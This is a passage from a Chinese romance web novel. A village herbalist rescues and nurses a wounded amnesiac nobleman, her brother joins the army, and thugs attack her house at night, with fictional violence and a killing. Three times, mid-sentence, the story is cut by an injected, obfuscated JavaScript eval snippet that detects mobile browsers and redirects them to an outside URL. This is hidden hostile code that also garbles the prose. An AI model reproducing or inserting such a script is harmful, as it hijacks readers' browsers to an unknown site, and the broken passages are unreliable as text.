《另嫁他人后被前夫强取豪夺》 1. 捡人 一入夏,这天气最是喜怒无常。明明进山时还是晴空万里,不过是采了几株药的功夫,这天儿说变就变,转眼黑云压城。 幸好温泠及时找了个山洞避雨才没有被这大雨淋湿。听着外面噼里啪啦的大雨声,心中暗自盘算着这雨还有多久才能停,不然今日只得在这荒野山林中过夜。 也不知道阿怀会不会进山来寻她。一想到这个弟弟她内心就忍不住叹气,倒希望他可别来,不然身上的伤不知得养到何时才能好。 前几日他与村里的孩童起了争执,可一个人哪里打得过一群人。当他带着满脸的伤回来见她时,温泠被吓了一跳,连忙问他发生了什么。 可这孩子倔得呢,硬是不肯说一句话。直到她向其他人打听,才知道是那些孩童起哄在先,说他是没爹没娘的坏种。 他气不过,才先出手打他们。真是伤敌一千,自损八百。 家中之前的草药早已用完,这才有了她今日上山采药的事。 等到天差不多快黑了之时,这暴雨才慢慢停歇。为了不让阿怀担心,她得赶快回去才行。 这山路难走得很,再加上她身上还背着箩筐,行动更是不便,必须要扶着树一步一步地摸索着前行。 往日她都是在日落之前就下了山,今日是她失算,没想到雨下得这么突然,眼下她心中莫名有些急躁。 忽然,一脚没踩稳,她从土坡上滑了下来。地上还是湿漉漉的,摔得她身上全是泥巴。 今日真是事事不顺啊。 她忍着痛意起身,还好只是手掌擦破了点皮,没有伤到骨头,要不然她今日可真得留着这儿过夜了。 箩筐内的草药洒得满地都是,她只好蹲在地上将它们重新捡起来。只是这光线过于昏暗,她看不太清,只能凭着感觉在地上挑拣着。 倏然,她摸到一个很奇怪的东西。有些软,还有点冰,不像是草药,更像是人的手指。 温泠浑身上下打了个冷颤,听说夜间山林有野狼出没,之前可有不少人死在这里。 她、她莫不是碰到死人了?!意识到这一点,她立马将那手甩了出去,也不管地上的草药都捡完了没有,背上箩筐就这般离开这个鬼地方。 可老天偏不如意,她刚准备动身离开,就被人一把抓住了脚踝。好在她眼疾手快一把抓住了旁边的大树,才没有再次摔倒在地。 温泠心跳急速地跳动着,努力让自己冷静下来。由于脚踝还被禁锢着,她只好先蹲下来,身子顺着那只手探过去。 这下,她看大致看清楚了。 地上躺着的是个年岁不大的男子,身上有一股浓重的血腥味,看来是流了不少血。 她用手去探他的鼻息,人还活着。不过要是再待一晚上她就说不准了。 温泠没打算救他,毕竟多一事不如少一事。 她本想将他的手从自己的脚踝处扒拉下来,许是极强的求生欲望,他抓得特别紧。 就当她思索该如何是好时,那人突然开口说话:“救、救我……” 还没等他说完,温泠随手拿起身旁的一块石头,将他砸晕。 他的手自然也就松开了。 温泠起身拍拍手上的灰,对着地上昏迷不醒地男人骂道:“呸,救狗都不救你。” 她可没忘了母亲生前的告诫:路边的男人不要捡。 许是刚下过雨,今日的月亮看起来比往日要明亮得许多。温泠抖抖背上的箩筐,准备离去时,看见了地上什么东西散发着淡淡的光芒。 她屈身捡起,原来是一块玉佩,约莫是地上那位的。摸起来是块上好的玉,只可惜缺了一角。 温泠摸着上面好似还刻着字,便举高了点,借着月光辨认着。 “燕?” 她内心有些惊愕,重新打量起地上的男人。燕,这可是国姓,能拥有这块玉佩的人非富即贵。 摩挲着手中的玉,她开始犹豫了。在经过一番思索之后,她将玉塞进怀里,拉起地上男人的双腿往前走。 “遇上我算你走运,希望你别让我失望。” 虽然她的力气还算大,但拖着一位壮实的男子还是有些许吃力,她只能走一会便歇息一会。 她垂眸看着地上昏死过去的男子,在心里默问着自己:真的要救他吗? 忽然,不远处一声熟悉的声音将她的思绪抽离了回来。 “阿姐!” 她猜得果然没错,李怀来找她了。 “我在这里!” “阿姐你……”他第一时间便是察看温泠是否受伤,见她无事,心里就放心了。 往日她日落之前就回了,今日他一个人在家等了半天也不见她身影,心中有些不安,就上山来寻她。 她看着他身上还打着绷带,走这么远来寻她也不知道伤口裂开了没有。本想端起姐姐的架子训他,可看见他一脸担忧自己的样子,到嘴的话又咽了回去。 温泠习惯性地伸手摸摸他的头,却被他躲开:“阿姐,我不是小孩子了。” 还没等她将手缩回,李怀自然地牵住她的手,想拉着她一起回家。 “欸,慢着。”温泠松开他的手,“既然你来了,帮我把他扶回去吧。” 光线太暗,要不是她说地上还有一个人,李怀根本就发现不了。 他不禁皱眉,语气中透露着不解:“他是?”看样子伤得很重,可和他有什么关系呢,他才不想救一个毫无关系的人。 “是位贵人,阿怀来搭把手。”她没向他作过多解释,有些事他不必知道。 李怀本不欲帮忙,但看见她一副吃力的模样,心里虽有不满,还是接过那人:“阿姐,交给我就行,这点力气我还是有的。” “那你的伤口?”温泠知道他力气比寻常男孩子要大的多,但她有些担心他身上的伤。 她是想让他和她一起扶着,没想到他将人全背在了自己身后。 “无事,我皮糙肉厚,那点伤对我不算什么。阿姐,跟紧我,别摔了。” 温泠见状只好作罢,拿过他手中的伞:“嗯,那我们回家。” 温泠是六岁时被送到李家村的,那时李怀还小,对家里多出来一个自称是他姐姐的人很是排斥。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450473|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后面几年,他逐渐接受,甚至像个小大人一般照顾她。 如今十年过去了,李家夫妇前几年死在一场疫病之中,只有她和阿怀相依为命。 也自从双亲死后,阿怀一夜之间便长大了,不再像以前那般成天只知道游手好闲,开始承担起家里的责任。 温泠很怀念李家夫妇还在的日子,怀念那段她之前从未体会过的幸福。 等到他们回到家时,已入深夜。温泠让阿怀将那人安置在床上后,就赶他去隔壁歇息了。 温泠端来一盆热水,用白布将他脸上的血渍擦干净。于是他的面容展现在她眼前,鼻梁高挺利落,眉尾上扬入剑,透露出一丝矜贵。 倒还生得一副好皮囊。 她垂手将染红的布放进水里,水立即就变成了血色,她只得再去换一盆新的水来。 裸露在外的皮肤都被她擦干净了,只剩下身体。温泠迟疑一番,深吸一口气,将他的衣带解开。 之前她帮阿怀上药的时候就已见过男子的身体,反正也都一样。 掀开衣服后,她不禁倒吸一口凉气。整个身上没有一处是完好的,除了一些新的伤口,他身上还布满了密密麻麻的伤痕,看起来着实恐怖。 她对他的身份好奇了起来,一个贵人身上怎如此多陈旧的伤口?如今还被人追杀跌至山林中。 救下这种人,也不知是福还是祸。 温泠细细帮他擦拭干净,又拿草药敷在他伤口之上。她的医术,还是李氏教她的,虽说比不上名医,但也算让她有了一技之长。 今日实在有些劳累,她干完这些后,便趴在一旁的木桌上睡去。到了半夜,她被一声巨响惊醒,她连忙点灯检查,原来是那人从床上摔了下去。 温泠默默叹气,又将人扛回床上。她顺手摸了下他的额头,烫得她立即缩回手。 不好,还是生了热症。 她只得用帕子沾点冷水敷在他额头上,如今条件有限,她都做到这个份上,能不能熬过今晚就只能看他自己了。 要实在撑不过,那也只能说是天意。 次日清晨,温泠是被李怀叫醒的。 “阿姐你醒醒,要不去睡我那屋吧?”李怀敲了半天门见没人应声,以为阿姐出去了。他推门而入,却看见她趴在桌上。 是他昨日疏忽了,再怎么也不能让她就在这里睡啊,要是着了风寒可怎么办。 温泠迷迷糊糊间睁开眼:“阿怀,你醒了。” “阿姐。”李怀故意皱眉看她。 她心下一跳,坏了,阿怀好像恼她了。每次这个时候她都会去揉揉他的头,虽然他面上还有些不悦,但她知道他吃这一套了。 “你阿姐都这么大了,你就别担心了。好不好呀,我的阿怀?别老板着一张脸,多笑一笑。” 温泠很喜欢他的笑容,每次一笑,一颗小小的虎牙就露了出来,甚是可爱。 她本来还想打趣他,床那边忽然传来一阵窸窸窣窣的声音,她立即其声朝那边走去。 那人居然活了下来,命真是够硬啊。 “你醒了?” 2. 失忆 温泠来到床边时,发现他已经睁开了眼,不过好像有哪里不太对劲。 “你醒了?”她试探性地开口。 他没反应。 她再次放柔声音,轻声问道:“你现下还有哪里不舒服吗?” 他这次眨了眨眼,一个字一个字的吐出来:“我、饿、了。”随后他的肚子还特别配合地响起来。 “……” 她和阿怀都沉默了,这人看上去怎么不太聪明? “阿姐,饿,痛。” 李怀一听到这话,太阳穴突突地跳了起来,咬牙切齿道:“她才不是你的阿姐,别胡乱认亲!” 那人歪着头,无辜地看着温泠,仿佛不知道这句话是什么意思。 她忍不住抚额,对着李怀说:“阿怀,我也有些饿了。”如果不说她也饿了,按照阿怀的性子,肯定不会给他吃食。 同时也能避免他们争吵起来,好让她再为他检查一番。 “阿姐!” “快去吧,我最爱吃你煮的鸡蛋面了。”她笑着将他推去门外,“你不能眼巴巴地看着你阿姐饿死吧?” 李怀拗不过她,无奈叹气:“那好吧。” 见阿怀离去,温泠转身将门关上,快步走到那人面前,他一直在看着她。 她将手背贴在他的额头,已经退热了。她把帕子放在一边,缓缓扶他坐起身。整个过程他都很安静,也很乖顺,视线随着她的手的动作而移动。 “你还记得自己是谁吗?” 他摇头。 温泠回想起昨晚给他检查伤口时,发现他脑部也受到了一定了撞击,许是从高处滚下来时撞到了。再加上脑部淤血没有及时清理,导致如今失去了记忆。 不仅丧失了记忆,看他这副痴傻的样子,可能脑子也被撞坏了。 她灵光一闪,拿出玉佩给他看:“看到这个你有没有想起什么?” 那人眼神呆滞地盯着玉佩,忽然面色狰狞,双手抱起头,好像在忍耐着极大的痛苦。 温泠也是第一次见到这种情况,焦急地站在一旁不知该如何是好。她只能将玉佩收起来,看来他不能受到刺激。 过了好一会,他才好了一些,嘴里喘着粗气,胸膛随着他的动作一起一伏。温泠用帕子擦去他额角的冷汗:“还疼吗?” “迟。” 她有些没听明白,又问了一句:“这是什么?” “只有迟。” 迟?她在心里暗自思考着,这莫不是他的名字。只不过眼下还是不要告诉他姓氏为好,要是惹出麻烦可就不好了。 “那以后就叫你阿迟可好?” “喜,好。” “你是想说喜欢是吧?” 他点点头,脸上看上去很是欣喜。 温泠虽面上不显,心里却忧愁起来。本来她是想借救命之恩让他帮她一件事,可眼下这人别说帮她了,或许反过来她还要继续照顾他。 阿迟睁眼看见的第一个人就是她,虽然他不认识她,但心里却莫名地很想靠近她。他听见旁边那人喊她阿姐,他也便学着这般喊她。 可是她看起来并没有很开心的样子。当他看见那个白白的石头时,许多东西涌进他的脑海之中。他感觉自己的脑袋快要炸掉了,想拼命抓住点什么,最终却都变成了空白。 只有一个“迟”字一直萦绕在他耳边。 听见她叫他阿迟,他内心很欢喜。但她为什么皱着眉? 他不懂。 温泠帮他盖好被子,想出去看看阿怀那边怎么样了,还有就是商量一下…… 她抬眸看了眼一脸茫然的阿迟,也不知道阿怀会不会同意让他留下来。 没想到她还没走几步,就被阿迟那拉住袖子:“不、走。” 她将哄阿怀那一套拿来用在他身上,单手轻轻拍拍他的头,弯腰对着他说:“你不是饿了吗?我去看看吃食好了没。” “阿迟,乖一点好不好?” 他迟疑地点着头,手缓缓松开她的袖子。 “阿姐,来吃吧。”没想到还没等她出去,李怀就已经煮好了。 温泠将他失忆的事情告诉了阿怀,隐隐有要留下他的意思。只见他将手的碗放下,直视着她:“阿姐,为什么?” 李怀从昨天她救起他就想问她了,明明平日她不是这般多管闲事的人。如今那人不仅失忆,还变成了一个傻子,她为何还要留下他? 他虽然比她要小上一岁,却早已高出她许多,每次和他说话,都要抬着头。 尤其是眼下这样,他语气中透露出不悦,更加有压迫感了。 “是因为温府吗?”李怀偷偷打听过她的身份,他知道是因为温府将她赶了出来她才来到这里。否则他们一生都不能会有接触的可能,更别说她现在成为了她的阿姐。 至于为什么是他偷偷打听的,因为阿姐从来都不愿告诉他有关自己的事情,可他只是想更加了解她。 温泠没想到阿怀不仅知道了自己和温府的关系,还猜出来自己救那人的原因。 没错,她当时确实想借他的身份去报复温府。即使她知道这不太可能,但只要有一丝机会,她就不会放过。 “阿怀,有些事情我不希望你掺和进来。”她垂下眼眸,回避他的视线。 果然又是这样,每次她都会拿这句话来搪塞他。李怀不怨阿姐,只恨自己没有能力去帮助他。 蓦地,他想起了前几日在镇上看见的招兵告示。最近边境又有外敌来犯,朝廷欲派贤王领兵作战,正是需要大量招兵的时候。 “阿怀,好吗?” 温泠一句话让他从思绪中抽离出来,李怀转眼看向床上的阿迟,淡淡地说道:“他还能下床干活就行,总不能让他白住在这里。” “阿怀,谢谢你。”她就知道阿怀看着嘴硬,实则心软得很。 就这样,阿迟被留了下来。起初阿迟很怕李怀,只敢和温泠说话。李怀也看他不顺眼,尤其是当他学着喊她阿姐时,他觉得自己真是晕了头才答应留下他。 这时候温泠就在一旁捂嘴偷笑,“好啦好啦,我是你们两人的阿姐。阿迟,你说对不对?” “阿姐,对,嘿嘿。” 阿迟听见这话也咧着嘴傻笑起来,本是一张极为俊俏的脸,配上这傻里傻气的笑容,简直是说不出来的滑稽。 后面温泠见阿迟能够独立下床行走了,她上山采药时,就将他交给李怀照看。 等她回来时,便看见的就是李怀冷着脸教阿迟如何砍柴。 说起来,阿迟貌似比她还要大许多,只是眼下反倒成了最令人头疼的一个。这几日,她也一直在医书上翻查着如何治疗失魂之症。 虽说有一些有关病情的记载,但并没有明确的治疗方法,看来只能走一步看一步了。 “阿迟今日乖不乖呀?” 温泠特意放轻脚步走到他们身后,没想到走到一半李怀像是有所感应一般回了头。 她只好伸出食指竖在嘴边,示意他不要出声。待她走到他后面时,他还在认真砍着拆。 结果阿迟被她吓了一大跳,斧头从手中滑落,差点砍在李怀脚上。 “阿姐,他要谋杀我!” 幸好李怀反应快,及时闪开,不然他这双脚今日就要与他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450474|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分别了。 温泠也被他们吓到,早知道就不逗他们玩了。 “阿迟,没有。” 她抬眼望过去,就看见阿迟一脸委屈地看着她,而阿怀则是被他气急了,头也不回地走进屋。 温泠无奈叹气,感觉总有一天他们俩就会打起来。 她放下背上的箩筐,今日她运气很好,找到了好几株难得的草药。 阿迟学着往日李怀的做法,顺手接过箩筐,帮她拿进屋。不过没等他进去,门就被李怀一把关上了。 他着急地敲门,不明白为何把他一个人留在外面:“阿姐,他坏。”只能重复地喊着温泠。 直到她说让他在外面等一会他才停下来,乖乖地蹲坐在门前,数着地上的蚂蚁。 “阿怀?”看样子他有话要和她说。 李怀先是倒了杯水递给她,见她喝完之后才开口说话:“阿姐,我想应募从军。” 他说这话时,根本不敢看着温泠。 她拿着杯子的手一顿,怀疑自己是不是听错了,好端端的他怎么想去从军? 但只要是他想做的,她永远会支持他。 “阿怀,你想好了吗?上战场可不是儿戏,刀剑无眼,随时都可能会有生命危险。” 李怀深深吸气,仿佛一下了某种决心一般:“阿姐,这是我深思熟虑之后才决定告诉你的。我承认我自己头脑简单,空有一身力气之外别无其他用处,倒不如去拼一拼,说不定还能搏一个功名回来。 爹娘在世时,我让他们操碎了心。如今我只剩你一个亲人,我……我想用我自己的方式去帮你。” 他当然知道战场上的凶险,说不定这次去了他再也见不到她了。可若让他就这样待在李家村平庸一辈子,那还不如让他早早死了算了,免得还浪费吃食。 可他唯一放心不下的就是阿姐,这也是他犹豫了这么多天的原因。 他朝门那处瞟了一眼,虽然他心里极其嫌弃捡回来的傻子,但根据他这几天的观察,阿迟对阿姐极为依赖和忠诚,或许他能代替他照顾阿姐一段时日。 “既然想好了,那就祝愿我的阿怀能够平平安安地回来,然后给我一个惊喜。” 温泠朝他伸出小指,小时候他们有约定就会拉钩盖章。 “那就,一言为定。” 等到他们将门打开时,阿迟已经靠在墙边睡着了。 “大傻个,醒醒。要睡进去睡。”要是受风寒了阿姐又要担心了。 阿迟梦见阿姐穿着一身红衣,头上还顶着一块红布坐在床上。他觉得奇怪,刚想伸手帮她把红布取下来,就被李怀叫醒了。 “阿姐,红布。” 红布?温泠有些疑惑,不知道他说的是什么意思。 相处了这么多天,她有时候还是跟不上阿迟的脑回路,这时候就只能干巴巴地笑着糊弄过去。 “阿迟是不是饿了?我们去洗菜好不好呀?” “饿,好。” 好在他从来不会追着一个问题一直问她,倒比李怀还更要好哄一些。 平日他也非常黏她,除了她要上山采药不许他跟着之外,他总是时时跟在自己身后,就像是她的第二个影子一样。 家中的饭食一般都是李怀准备的,也不是温泠不会,只是每次她开火,阿怀都会沉默半天,说这种事情以后还是交给他算了。 她倒是没怀疑过自己的技艺,明明她尝过自己做出来的饭菜,挺好吃的呀。后来她想了一下,许是阿怀不想让她太累才不让她做饭的,一定不是自己的问题。 今日,她决定在阿迟面前露一手,他一定会非常喜欢的。 3. 变故 等到温泠将饭菜做好端上桌时,李怀心里是拒绝的。是他今日忙忘记了,又让阿姐下了灶房。 先是看着桌上的饭菜,再看着阿迟一脸期待的样子,他默默在内心为他哀悼……阿姐做的饭可不是一般人能吃的。 “阿怀别愣着啊,好不容易让我展示展示,你可得多吃点!” 她也没忘记阿迟,立即往他碗里夹了几筷子。 “当然阿迟也要多尝尝。” 李怀僵硬地坐下来,象征性地往碗里夹着菜,余光偷偷瞟着一旁的阿迟。 阿迟见着阿姐主动给他夹菜,心中自然欣喜,感觉饭菜中都充满了她身上的香气。 他毫不犹豫地张开嘴吃了起来。 “味道怎么样?”温泠迫不及待地问他,李怀也看好戏一般看着他。 “阿迟,喜欢。”他缓缓说出这几字。她一听,面上露出欣慰的笑容,她就说嘛,肯定不是她的手艺有问题。 于是她也动筷吃了起来。李怀不可置信地盯着他,想从他脸上找出说谎的痕迹。 可是没有,好像他是真心很喜欢阿姐做的饭菜。难道阿姐的厨艺进步了? 他暗自发问,犹豫一番还是决定再试试。 刚吃了一口,他就后悔了,还是一如既往地有阿姐的特色……为了不破坏这时的气氛,他只能硬着头皮吃下去。 还是那一句,阿姐的手艺果然不是谁都能品尝的。 待他们吃完后,李怀赶紧拉着阿迟一起去灶房收拾,温泠看着两人打打闹闹的样子,眼底掠过一丝笑意,轻摇着头。 “阿怀,坏人。”阿迟对他无礼的行为很是不满,一把手将他甩开。 李怀立即将门关上,神色严肃:“那个啥,阿迟。我没几天就要离开这里了,多久回来我也不知道,少则半年多则好几年也说不定。” 他停顿了一下,又继续说道:“我不在的这段时日内,你要替我好好照顾阿姐。要是让我知道阿姐被人欺负了,你就等着我回来收拾你吧!” 说着,他还伸出拳头朝阿迟脸上比划了一下。 “阿迟,不会欺负。”他信誓旦旦地说道。 李怀反应了好一会才明白他话中的意思:“没说你欺负阿姐,是你要保护她,听懂了吗?” “阿迟,懂了。” “这才乖嘛。”李怀见他明白之后才彻底放心下来,随后眼珠子骨碌一转,露出狡黠的笑容,“那你顺便把碗洗了吧,阿姐会很高兴的。” 一听温泠会高兴,阿迟乐呵呵地点头答应。 这旁温泠还在研究医书,见到阿怀从灶房出来,疑惑道:“这么快就弄好了?阿迟呢?” “他非要一个人洗碗,将我赶了出来。”他神色自然,没有半分心虚。 她有些奇怪,怎么今日阿迟这般积极?她丝毫没往李怀身上想,因为在她心里,阿怀绝对不会骗她。 温泠看着眼前的他,想起自己刚来李家的时候,他还是那么小一点。看见陌生人闯入,手里还拿着木棍恶狠狠地瞪着她。 如今他长得都比她要高出许多,也更加乖顺懂事了。这样想着,她竟有些不舍他离开。 可不管是阿怀,还是她自己,都有自己的事要去做。即使不舍,她也不应在他面前表露出来,不然只会让他更加担忧。 “大概还有几日出发?” 李怀转身看着她:“就在后日清晨。” “竟这般快么。”她喃喃自语道,看来他确实是早就打算好了。 她又强挤出几分笑意,让自己看上去不是特别难过:“快些也好,快些也好啊。” 李怀垂下眼眸,本想开口再说些什么,可却一个字也说不出来,只要借着收拾东西离开了这屋。 * 分别的日子总是很快到来,即便万般不舍,也是要辞别。 温泠随着李怀一起来到镇上,看着他进了官府中才依依不舍地离去。 “阿怀,一切顺利。” 她在心中祈祷。 自从李怀走后,阿迟一直将那日他说得话牢记在心中。于是现下,他打起着十二分的精神,警惕地看着每个从她身边路过的人,他觉得谁看起来都像是坏人。 “阿迟,跟紧我,别走丢了。” 在她眼里,阿迟已成为她第二个弟弟,她也得担当起做姐姐的责任。她干脆牵起他的手,带他往前走。 温泠将他带到医馆,她这几日思来想去,还是决定找个厉害点的大夫帮他看看。 这镇上只有一家医馆,已经是开了许多年了,里面的杨大夫虽然年岁已高,但医术极为精湛,颇得附近的百姓称赞。 “大夫,还麻烦您帮我看看我阿弟的病情,他之前不小心从高处摔下来,将脑袋磕伤了。” 杨大夫不紧不慢地摸着自己嘴下的白胡子,熟稔给他把着脉,然后起身检查着他脑袋上的伤。 温泠在一旁紧张看着,忍不住问道:“大夫,怎么样?” “哎……” 她听到大夫叹气,心立即被提了上来:“莫不是还有什么大问题?” 大夫摆摆手,回到原位坐下:“没什么其他问题,只是脑疾向来最难医治,老夫先给你开几副方子先用着,至于他能什么时候恢复,就看天意咯。” 没有什么问题就好,温泠勉强放心下来。她向大夫道谢,拿着方子便和阿迟回家。 他们走后不久,一群人闯进了医馆,拿着一张画像怼着杨大夫的脸问:“画上这人你有没有见过?” 杨大夫年纪有些大了,只能眯着眼细细地瞧着。是一位少男,剑眉星目,要是他见过一眼绝对印象深刻。 可惜,他并没有见过。 “回大人,小人未曾见过。” 那群人狐疑地看着他,又将医馆搜了个底朝天才离去。 他们寻的那人,正是阿迟。 “阿姐,丑。” 阿迟盯着水中自己的倒影,不明白为什么阿姐出门前要往他的脸上涂得黑黢黢的。 “那你便洗掉吧。”温泠笑着对他说道。 她知道阿迟身份特殊,冒然带他出去怕引来祸事。于是今日出门前,她特意将他的脸“改造”了一番,令谁都看不出他原来的样貌。 阿迟不喜欢他眼下这般模样,怎么看都与阿姐格格不入,还是洗干净了好。 温泠还在回忆着刚才大夫说的话,跟自己料想的差不多,看来只能顺其自然了。她正想得入神,突然感觉自己头顶上有异动,她就着旁边的湖水看去,忍不住笑道:“阿迟居然还会编花环,真好看。” 她抬手将花环取下来,拿在手里认真看着:“很漂亮,我很喜欢。” “阿姐,好看。” 在阿迟眼里,阿姐是全天底下最好看的人。 “天色不晚了,我们回家吧。” 这回阿迟主动牵住她的手,傻傻地重复着:“我们,回家。” 李怀走的第一天夜里,就有人找上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450475|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了温泠。 温泠本就不是村里土生土长的人,样貌自然也比一般的姑娘好看。之前就有不少泼皮无赖打着她的主意,只不过有李怀在,他们不敢动手。 如今她唯一可以依靠的人走了,正是下手的好机会,于是他们趁夜翻进了院子,就等着欣赏美人的睡颜。 温泠不知为何躺在床上翻来覆去睡不着,她索性点起灯,坐在床边看书。 忽然,她听见院子里传来一阵异响。她警觉地拿出枕头下藏着的匕首,朝门边走去。 还没等她走到门口,房门就被人一脚撞开,她摔倒在地。 “温大小姐,好久不见啊。”以李牛为首的混混不怀好意地盯着她看,贪婪的目光让她胃里直犯恶心。 “滚!”她将匕首放在身后,强迫自己保持冷静。 “李怀那小子走了,今晚可就没人能拦得住我们了。小妮子,别挣扎了,我们这群兄弟可都不是怜香惜玉的人,要是把你弄伤可就不好了。” 李牛说着便上手来扯她的衣服,她目测着匕首刺在哪里能将他一刀致命。然而变故就发现在这时,阿迟不知道从哪里冒了出来,抱着一根粗壮的木棍闯了进来,狠狠地砸向李牛。 “啊”的一声,李牛倒在了地上,后脑勺滋滋流着血。 他身边的那群兄弟也看傻了眼,齐齐呆愣住。后来不知道是谁大喊:“兄弟们,为大哥报仇!”,他们一群人冲了上去。 温泠也趁机将匕首刺入离她最近的那人,可惜刺偏了几分,那人没有立即死去。他面色狰狞,顶着剧痛将她扑倒在地。 她又将匕首扎深了一些,那人却依旧死死抓住她,让她无法动弹。 “阿迟!小心!” 阿迟虽然力气很大,但也架不住一群人围攻上来。他看着摔倒在地的阿姐,她身上似乎还沾染着血液。 那抹红色刺痛了他的眼,他心中只有一个念头,那就是将他们全杀了。 可越是在这种混乱的情况之下,越容易遭到暗算。不知是谁从背后推他一把,他双手都还掐着人,由于重心不稳,他脚步踉跄,从木梯上滚下来,头刚好撞到一块石头上。 那群人本以为将麻烦解决了,还没来得及高兴,又有一群人打着火把冲进了温泠的住处。 “这是怎么回事?” “不好,这不是我们的人,快走!” 他们连李牛都顾不上,急急忙忙地翻出去,留下现场的一片狼藉。 “阿迟,阿迟!”温泠朝李牛身上补了几刀,直到他彻底咽气之后才扶着墙走到门外。 映入她眼帘的就是满身是血的阿迟躺在地上,生死不明。她跌跌撞撞地从木梯上冲下来,将阿迟揽入怀中。 她一抹,手上全是他流出的鲜血。温泠颤抖着手探着他的鼻息,好在还有一丝微弱的气息。 “阿姐,不哭。” 阿迟感受到她的气息,撑着一丝意识睁开眼。他好想擦去她眼角的泪,可是他好痛,痛到连手都抬不起来,只能勉强说出几个字。 他是不是没有保护好阿姐?李怀回来会不会怪罪他? 可眼下,他没有力气去想这个,他好想,好想睡觉…… “阿迟,阿迟别睡,你睁开眼好不好,阿姐求你了。”温泠从来没有像此刻这般慌张过,是她害了阿迟,是她对不起他。 在阿迟彻底失去意识之前,一滴滚烫的泪滴到他唇角。 是咸的。 随后他就没了意识。 4. 醒来 燕迟做了很长一个梦,他梦见自己掉入山林后被一个野丫头捡了回去,还当成傻子养起来。 梦中的自己,不,那根本就不是他。他才不会像一只狗一样跟着一个蠢女人,更不会为了保护她让自己身受重伤。 也只有那个傻子才会干出这种蠢事。 迷迷糊糊之中,他听见有人在他耳边说话,好像是个女人,神神叨叨的,不知道在说些什么。 吵得他很烦躁。 他很想睁开眼看看到底是哪个不知死活的女人,敢在他面前哭丧。但眼皮就像是被黏住一般,怎么也睁不开。 后来,他渐渐地又昏睡过去了。 这边温泠刚给阿迟换完药从房内出来,一眼就看见站在门外的叶临舟。 “叶先生你来了,快进来坐!” 叶临舟是村中的教书先生,年岁没比她大多少。那日正是他瞧她院子里不对劲,急忙喊了村中的其他人过来,她才得以脱险。 也是自从那晚之后,他就经常来看她,时不时给她送一些书本。 “在下只是来看看阿迟兄弟怎么样了,顺道来给姑娘送些糕点。” 说着,他从怀里拿出一包用油纸包裹着的点心。温泠知晓他的性子,若是自己不收下,他又要与她讲一大堆。 她就没有客气,直接接了过来,这糕点还是热的。 温泠为他倒了杯茶,说道:“阿迟的伤口基本愈合了,只是不知道什么时候能醒过来。” 而且这次又是脑部受到撞击,能活下来已经是很幸运了。 “阿迟他吉人自有天相,你也不必过于忧心。”叶临舟宽慰着她。 温泠在他面前勉强挤出一丝苦笑:“我也希望如此。” 他又安慰她几句,便向她告辞了。温泠本想送他到门口,他温温柔柔地打趣着她:“温姑娘还是先去忙自己的事吧,在下不是小孩子了,姑娘不必送我。” 既然他都这般说了,她就没再坚持送他,转身回屋。 整个屋子里都弥漫着浓郁的苦涩的药味,她从火上取下药罐,罐子被火烧得滚烫,她的指尖一不留神触碰到了药罐上,灼痛感顺着她的指尖往上冒。 温泠下意识缩手,药罐从她手中掉落,摔碎在地上,里面的汤药溅了她一身。她抬手看着手上被烫出的红痕,又低头看着地上的残乱不堪,心想自己今日是怎么了,总感觉有些心神不宁。 莫不是最近没休息好? 她将地上的药罐碎片处理好后,又重新熬了一罐,随后她和往日一样替阿迟擦洗身子。 她看着阿迟昏迷不醒的样子,一股悲痛就涌上心头,如果不是为了救她,他现在也不会这样。 当温泠重新替他掖好被角时,猛然发现阿迟的手指轻微动了一下,如果不注意,根本就发现不了。 看到这一情景,她内心无比激动,这说明他快要醒来了! “阿迟,阿迟?” 她蹲在他耳边轻柔地唤着,眼睛一动不动地盯着他的反应。 阿迟的睫毛轻轻颤动,呼吸也比平日更加均匀,她遏制不住内心的喜悦,连忙跑去灶房将熬好的药取下来,想着若是他醒了就可以直接喝。 她脚步走得飞快,生怕来不及看到他醒来的第一瞬。走到门口时,温泠忽地放慢了步伐,深吸一口气,满怀期待地走了进去。 可惜,他还未醒来。 温泠也没有失望,总归今日他有了一丝反应,许是过几天就可以苏醒了。她将碗放在桌边,拿出本子记下阿迟的变化: 季夏十日,迟手略动,似有苏醒之意,泠心甚喜。 燕迟在黑暗中闻到一股刺鼻的草药味,苦涩至极,是他最讨厌的味道。他尝试着睁开眼睛,虽有些吃力,但他渐渐看到了一丝光亮。 随后,他彻底醒来了。 他只是睁眼,并无其他动作。燕迟打量着这个陌生的环境,蛛网尘封,家徒四壁,简直不堪入目。 还有他身上的被子,还若有若无的有一股发霉味,让他难受至极。 这屋子,处处透露着寒酸与破败。 他转头,发现不远处还坐着一个女人,不知在写些什么东西。 乡野村妇,竟也会识字,倒是新奇。 他故意发出些许声响,使她注意到自己。 